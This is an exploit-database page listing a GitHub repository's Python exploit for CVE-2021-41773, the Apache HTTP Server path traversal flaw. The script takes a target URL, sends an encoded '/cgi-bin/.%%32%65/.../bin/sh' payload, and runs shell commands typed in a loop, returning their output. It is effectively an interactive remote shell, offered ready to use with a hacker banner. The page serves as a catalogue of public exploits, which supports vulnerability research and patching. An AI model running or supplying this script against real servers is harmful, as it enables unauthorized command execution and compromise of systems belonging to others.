Exploit databaseDownload repository ZIP
GH-6dfc44c818d8d8544db2cfbcc05ac2c0
im2sinister/cve-2021-41773
Sources for CVE-2021-41773
117 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
im2sinister/cve-2021-41773Revision 296ba8c08d2d
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2021-41773.py
Python · 3,987 bytesimport requests
from colorama import *
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def banner():
print(f'''{Fore.LIGHTBLACK_EX}''' + r'''
(`-. ('-.
_(OO )_ _( OO)
.-----.,--(_/ ,. \(,------. .-----. .----. .-----. .---. .---. .---..--------..--------. .-----.
' .--./\ \ /(__/ | .---' .-') / ,-. \ / .. \ / ,-. \/_ | .-') / . | /_ || __ '| __ '/ -. \
| |('-. \ \ / / | | _( OO)'-' | |. / \ .'-' | | | | _( OO) / /| | | |`--' . / `--' . / '-' _' |
/_) |OO ) \ ' /, (| '--.(,------. .' / | | ' | .' / | |(,------. / / | |_ | | / / / / |_ <
|| |`-'| \ /__) | .--' '------'.' /__ ' \ / ' .' /__ | | '------'/ '-' || | . / . / .-. | |
(_' '--'\ \ / | `---. | | \ `' / | | | | `----| |-'| | / / / / \ `-' /
`-----' `-' `------' `-------' `---'' `-------' `---' `--' `---' `--' `--' `----''
------------------------------------------------------------------------------------------------------------------------------------'''
+ f'\n{Fore.LIGHTGREEN_EX}Exploit Made: https://github.com/im2sinister{Fore.RESET}\n')
try:
banner()
target_url = input(f'{Fore.LIGHTBLACK_EX}Insert Target URL example(http://target.com): {Fore.RESET}')
full_url = target_url.rstrip('/')
payload = "/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
final_target = full_url + payload
while True:
command = input(f'{Fore.LIGHTBLACK_EX}Command to execute: {Fore.RESET}')
data = f"echo Content-Type: text/plain; echo; {command}"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
}
r = requests.post(final_target, data=data, headers=headers, timeout=10, verify=False, allow_redirects=False)
if r.status_code == 200:
print(f'{Fore.LIGHTGREEN_EX}Response:\n{Fore.RESET}{r.text}')
elif r.status_code == 404:
print(f'{Fore.LIGHTRED_EX}Target is not vulnerable or the URL is incorrect.{Fore.RESET}')
break
elif r.status_code == 500:
print(f'{Fore.LIGHTRED_EX}Server error occurred. The target might be vulnerable but the command execution failed.{Fore.RESET}')
elif r.status_code == 403:
print(f'{Fore.LIGHTRED_EX}Access forbidden. The target might be vulnerable but access is denied.{Fore.RESET}')
break
elif r.status_code in [300, 301, 302, 303, 307, 308]:
print(f'{Fore.LIGHTRED_EX}Redirection detected. The target might be vulnerable but the request was redirected.{Fore.RESET}')
break
else:
print(f'{Fore.LIGHTRED_EX}Unexpected response code: {r.status_code}. The target might not be vulnerable or there could be an issue with the request.{Fore.RESET}')
break
except requests.exceptions.RequestException as e:
print(f'{Fore.LIGHTRED_EX}An error occurred while making the request: {e}{Fore.RESET}')
except requests.exceptions.Timeout:
print(f'{Fore.LIGHTRED_EX}The request timed out. The target might be slow or unresponsive.{Fore.RESET}')
except requests.exceptions.ConnectionError:
print(f'{Fore.LIGHTRED_EX}Failed to connect to the target. The target might be down or the URL is incorrect.{Fore.RESET}')
except KeyboardInterrupt:
print(f'\n{Fore.LIGHTRED_EX}Exiting...{Fore.RESET}')
exit(0)